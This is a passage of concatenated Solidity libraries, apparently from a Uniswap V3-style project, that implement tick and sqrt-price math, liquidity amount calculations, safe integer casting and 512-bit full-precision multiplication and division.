/// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)
/// at the given tick
function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {
uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
require(absTick <= uint256(MAX_TICK), 'T');
uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;
if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
if (tick > 0) ratio = type(uint256).max / ratio;
// this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
// we then downcast because we know the result always fits within 160 bits due to our tick input constraint
// we round up in the division so getTickAtSqrtRatio of the output price is always consistent
sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
}
/// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio
/// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may
/// ever return.
/// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96
/// @return tick The greatest tick for which the ratio is less than or equal to the input ratio
function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {
// second inequality must be < because the price can never reach the price at the max tick
require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R');
uint256 ratio = uint256(sqrtPriceX96) << 32;
uint256 r = ratio;
uint256 msb = 0;
assembly {
let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(5, gt(r, 0xFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(4, gt(r, 0xFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(3, gt(r, 0xFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(2, gt(r, 0xF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(1, gt(r, 0x3))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := gt(r, 0x1)
msb := or(msb, f)
}
if (msb >= 128) r = ratio >> (msb - 127);
else r = ratio << (127 - msb);
int256 log_2 = (int256(msb) - 128) << 64;
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(63, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(62, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(61, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(60, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(59, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(58, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(57, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(56, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(55, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(54, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(53, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(52, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(51, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(50, f))
}
int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number
int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);
int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);
tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity >=0.5.0;
import './LowGasSafeMath.sol';
import './SafeCast.sol';
import './FullMath.sol';
import './UnsafeMath.sol';
import './FixedPoint96.sol';
/// @title Functions based on Q64.96 sqrt price and liquidity
/// @notice Contains the math that uses square root of price as a Q64.96 and liquidity to compute deltas
library SqrtPriceMath {
using LowGasSafeMath for uint256;
using SafeCast for uint256;
/// @notice Gets the next sqrt price given a delta of token0
/// @dev Always rounds up, because in the exact output case (increasing price) we need to move the price at least
/// far enough to get the desired output amount, and in the exact input case (decreasing price) we need to move the
/// price less in order to not send too much output.
/// The most precise formula for this is liquidity * sqrtPX96 / (liquidity +- amount * sqrtPX96),
/// if this is impossible because of overflow, we calculate liquidity / (liquidity / sqrtPX96 +- amount).
/// @param sqrtPX96 The starting price, i.e. before accounting for the token0 delta
/// @param liquidity The amount of usable liquidity
/// @param amount How much of token0 to add or remove from virtual reserves
/// @param add Whether to add or remove the amount of token0
/// @return The price after adding or removing amount, depending on add
function getNextSqrtPriceFromAmount0RoundingUp(
uint160 sqrtPX96,
uint128 liquidity,
uint256 amount,
bool add
) internal pure returns (uint160) {
// we short circuit amount == 0 because the result is otherwise not guaranteed to equal the input price
if (amount == 0) return sqrtPX96;
uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION;
if (add) {
uint256 product;
if ((product = amount * sqrtPX96) / amount == sqrtPX96) {
uint256 denominator = numerator1 + product;
if (denominator >= numerator1)
// always fits in 160 bits
return uint160(FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator));
}
return uint160(UnsafeMath.divRoundingUp(numerator1, (numerator1 / sqrtPX96).add(amount)));
} else {
uint256 product;
// if the product overflows, we know the denominator underflows
// in addition, we must check that the denominator does not underflow
require((product = amount * sqrtPX96) / amount == sqrtPX96 && numerator1 > product);
uint256 denominator = numerator1 - product;
return FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator).toUint160();
}
}
/// @notice Gets the next sqrt price given a delta of token1
/// @dev Always rounds down, because in the exact output case (decreasing price) we need to move the price at least
/// far enough to get the desired output amount, and in the exact input case (increasing price) we need to move the
/// price less in order to not send too much output.
/// The formula we compute is within <1 wei of the lossless version: sqrtPX96 +- amount / liquidity
/// @param sqrtPX96 The starting price, i.e., before accounting for the token1 delta
/// @param liquidity The amount of usable liquidity
/// @param amount How much of token1 to add, or remove, from virtual reserves
/// @param add Whether to add, or remove, the amount of token1
/// @return The price after adding or removing `amount`
function getNextSqrtPriceFromAmount1RoundingDown(
uint160 sqrtPX96,
uint128 liquidity,
uint256 amount,
bool add
) internal pure returns (uint160) {
// if we're adding (subtracting), rounding down requires rounding the quotient down (up)
// in both cases, avoid a mulDiv for most inputs
if (add) {
uint256 quotient =
(
amount <= type(uint160).max
? (amount << FixedPoint96.RESOLUTION) / liquidity
: FullMath.mulDiv(amount, FixedPoint96.Q96, liquidity)
);
return uint256(sqrtPX96).add(quotient).toUint160();
} else {
uint256 quotient =
(
amount <= type(uint160).max
? UnsafeMath.divRoundingUp(amount << FixedPoint96.RESOLUTION, liquidity)
: FullMath.mulDivRoundingUp(amount, FixedPoint96.Q96, liquidity)
);
require(sqrtPX96 > quotient);
// always fits 160 bits
return uint160(sqrtPX96 - quotient);
}
}
/// @notice Gets the next sqrt price given an input amount of token0 or token1
/// @dev Throws if price or liquidity are 0, or if the next price is out of bounds
/// @param sqrtPX96 The starting price, i.e., before accounting for the input amount
/// @param liquidity The amount of usable liquidity
/// @param amountIn How much of token0, or token1, is being swapped in
/// @param zeroForOne Whether the amount in is token0 or token1
/// @return sqrtQX96 The price after adding the input amount to token0 or token1
function getNextSqrtPriceFromInput(
uint160 sqrtPX96,
uint128 liquidity,
uint256 amountIn,
bool zeroForOne
) internal pure returns (uint160 sqrtQX96) {
require(sqrtPX96 > 0);
require(liquidity > 0);
// round to make sure that we don't pass the target price
return
zeroForOne
? getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountIn, true)
: getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountIn, true);
}
/// @notice Gets the next sqrt price given an output amount of token0 or token1
/// @dev Throws if price or liquidity are 0 or the next price is out of bounds
/// @param sqrtPX96 The starting price before accounting for the output amount
/// @param liquidity The amount of usable liquidity
/// @param amountOut How much of token0, or token1, is being swapped out
/// @param zeroForOne Whether the amount out is token0 or token1
/// @return sqrtQX96 The price after removing the output amount of token0 or token1
function getNextSqrtPriceFromOutput(
uint160 sqrtPX96,
uint128 liquidity,
uint256 amountOut,
bool zeroForOne
) internal pure returns (uint160 sqrtQX96) {
require(sqrtPX96 > 0);
require(liquidity > 0);
// round to make sure that we pass the target price
return
zeroForOne
? getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountOut, false)
: getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountOut, false);
}
/// @notice Gets the amount0 delta between two prices
/// @dev Calculates liquidity / sqrt(lower) - liquidity / sqrt(upper),
/// i.e. liquidity * (sqrt(upper) - sqrt(lower)) / (sqrt(upper) * sqrt(lower))
/// @param sqrtRatioAX96 A sqrt price
/// @param sqrtRatioBX96 Another sqrt price
/// @param liquidity The amount of usable liquidity
/// @param roundUp Whether to round the amount up or down
/// @return amount0 Amount of token0 required to cover a position of size liquidity between the two passed prices
function getAmount0Delta(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity,
bool roundUp
) internal pure returns (uint256 amount0) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION;
uint256 numerator2 = sqrtRatioBX96 - sqrtRatioAX96;
require(sqrtRatioAX96 > 0);
return
roundUp
? UnsafeMath.divRoundingUp(
FullMath.mulDivRoundingUp(numerator1, numerator2, sqrtRatioBX96),
sqrtRatioAX96
)
: FullMath.mulDiv(numerator1, numerator2, sqrtRatioBX96) / sqrtRatioAX96;
}
/// @notice Gets the amount1 delta between two prices
/// @dev Calculates liquidity * (sqrt(upper) - sqrt(lower))
/// @param sqrtRatioAX96 A sqrt price
/// @param sqrtRatioBX96 Another sqrt price
/// @param liquidity The amount of usable liquidity
/// @param roundUp Whether to round the amount up, or down
/// @return amount1 Amount of token1 required to cover a position of size liquidity between the two passed prices
function getAmount1Delta(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity,
bool roundUp
) internal pure returns (uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return
roundUp
? FullMath.mulDivRoundingUp(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96)
: FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96);
}
/// @notice Helper that gets signed token0 delta
/// @param sqrtRatioAX96 A sqrt price
/// @param sqrtRatioBX96 Another sqrt price
/// @param liquidity The change in liquidity for which to compute the amount0 delta
/// @return amount0 Amount of token0 corresponding to the passed liquidityDelta between the two prices
function getAmount0Delta(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
int128 liquidity
) internal pure returns (int256 amount0) {
return
liquidity < 0
? -getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256()
: getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256();
}
/// @notice Helper that gets signed token1 delta
/// @param sqrtRatioAX96 A sqrt price
/// @param sqrtRatioBX96 Another sqrt price
/// @param liquidity The change in liquidity for which to compute the amount1 delta
/// @return amount1 Amount of token1 corresponding to the passed liquidityDelta between the two prices
function getAmount1Delta(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
int128 liquidity
) internal pure returns (int256 amount1) {
return
liquidity < 0
? -getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256()
: getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256();
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
library PositionKey {
/// @dev Returns the key of the position in the core library
function compute(
address owner,
int24 tickLower,
int24 tickUpper
) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(owner, tickLower, tickUpper));
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import '@uniswap/v3-core/contracts/libraries/FullMath.sol';
import '@uniswap/v3-core/contracts/libraries/FixedPoint96.sol';
/// @title Liquidity amount functions
/// @notice Provides functions for computing liquidity amounts from token amounts and prices
library LiquidityAmounts {
/// @notice Downcasts uint256 to uint128
/// @param x The uint258 to be downcasted
/// @return y The passed value, downcasted to uint128
function toUint128(uint256 x) private pure returns (uint128 y) {
require((y = uint128(x)) == x);
}
/// @notice Computes the amount of liquidity received for a given amount of token0 and price range
/// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower))
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount0 The amount0 being sent in
/// @return liquidity The amount of returned liquidity
function getLiquidityForAmount0(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount0
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96);
return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96));
}
/// @notice Computes the amount of liquidity received for a given amount of token1 and price range
/// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)).
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount1 The amount1 being sent in
/// @return liquidity The amount of returned liquidity
function getLiquidityForAmount1(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount1
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96));
}
/// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current
/// pool prices and the prices at the tick boundaries
/// @param sqrtRatioX96 A sqrt price representing the current pool prices
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount0 The amount of token0 being sent in
/// @param amount1 The amount of token1 being sent in
/// @return liquidity The maximum amount of liquidity received
function getLiquidityForAmounts(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount0,
uint256 amount1
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0);
uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1);
liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1;
} else {
liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1);
}
}
/// @notice Computes the amount of token0 for a given amount of liquidity and a price range
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount0 The amount of token0
function getAmount0ForLiquidity(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return
FullMath.mulDiv(
uint256(liquidity) << FixedPoint96.RESOLUTION,
sqrtRatioBX96 - sqrtRatioAX96,
sqrtRatioBX96
) / sqrtRatioAX96;
}
/// @notice Computes the amount of token1 for a given amount of liquidity and a price range
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount1 The amount of token1
function getAmount1ForLiquidity(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96);
}
/// @notice Computes the token0 and token1 value for a given amount of liquidity, the current
/// pool prices and the prices at the tick boundaries
/// @param sqrtRatioX96 A sqrt price representing the current pool prices
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount0 The amount of token0
/// @return amount1 The amount of token1
function getAmountsForLiquidity(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0, uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity);
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity);
} else {
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCastExtended {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(
value >= -2**127 && value < 2**127,
"SafeCast: value doesn't fit in 128 bits"
);
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(
value >= -2**63 && value < 2**63,
"SafeCast: value doesn't fit in 64 bits"
);
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(
value >= -2**31 && value < 2**31,
"SafeCast: value doesn't fit in 32 bits"
);
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(
value >= -2**15 && value < 2**15,
"SafeCast: value doesn't fit in 16 bits"
);
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(
value >= -2**7 && value < 2**7,
"SafeCast: value doesn't fit in 8 bits"
);
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0;
/// @title Contains 512-bit math functions
/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
library FullMath {
/// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
/// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv
function mulDiv(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
// 512-bit multiply [prod1 prod0] = a * b
// Compute the product mod 2**256 and mod 2**256 - 1
// then use the Chinese Remainder Theorem to reconstruct
// the 512 bit result. The result is stored in two 256
// variables such that product = prod1 * 2**256 + prod0
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(a, b, not(0))
prod0 := mul(a, b)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division
if (prod1 == 0) {
require(denominator > 0);
assembly {
result := div(prod0, denominator)
}
return result;
}
// Make sure the result is less than 2**256.
// Also prevents denominator == 0
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0]
// Compute remainder using mulmod
uint256 remainder;
assembly {
remainder := mulmod(a, b, denominator)
}
// Subtract 256 bit number from 512 bit number
assembly {
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// Factor powers of two out of denominator
// Compute largest power of two divisor of denominator.
// Always >= 1.
uint256 twos = -denominator & denominator;
// Divide denominator by power of two
assembly {
denominator := div(denominator, twos)
}
// Divide [prod1 prod0] by the factors of two
assembly {
prod0 := div(prod0, twos)
}
// Shift in bits from prod1 into prod0. For this we need
// to flip `twos` such that it is 2**256 / twos.
// If twos is zero, then it becomes one
assembly {
twos := add(div(sub(0, twos), twos), 1)
}
prod0 |= prod1 * twos;
// Invert denominator mod 2**256
// Now that denominator is an odd number, it has an inverse
// modulo 2**256 such that denominator * inv = 1 mod 2**256.
// Compute the inverse by starting with a seed that is correct
// correct for four bits. That is, denominator * inv = 1 mod 2**4
uint256 inv = (3 * denominator) ^ 2;
// Now use Newton-Raphson iteration to improve the precision.
// Thanks to Hensel's lifting lemma, this also works in modular
// arithmetic, doubling the correct bits in each step.
inv *= 2 - denominator * inv; // inverse mod 2**8
inv *= 2 - denominator * inv; // inverse mod 2**16
inv *= 2 - denominator * inv; // inverse mod 2**32
inv *= 2 - denominator * inv; // inverse mod 2**64
inv *= 2 - denominator * inv; // inverse mod 2**128
inv *= 2 - denominator * inv; // inverse mod 2**256
// Because the division is now exact we can divide by multiplying
// with the modular inverse of denominator. This will give us the
// correct result modulo 2**256. Since the precoditions guarantee
// that the outcome is less than 2**256, this is the final result.
// We don't need to compute the high bits of the result and prod1
// is no longer required.
result = prod0 * inv;
return result;
}
/// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
function mulDivRoundingUp(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
result = mulDiv(a, b, denominator);
if (mulmod(a, b, denominator) > 0) {
require(result < type(uint256).max);
result++;
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.0;
/// @title Optimized overflow and underflow safe math operations
/// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
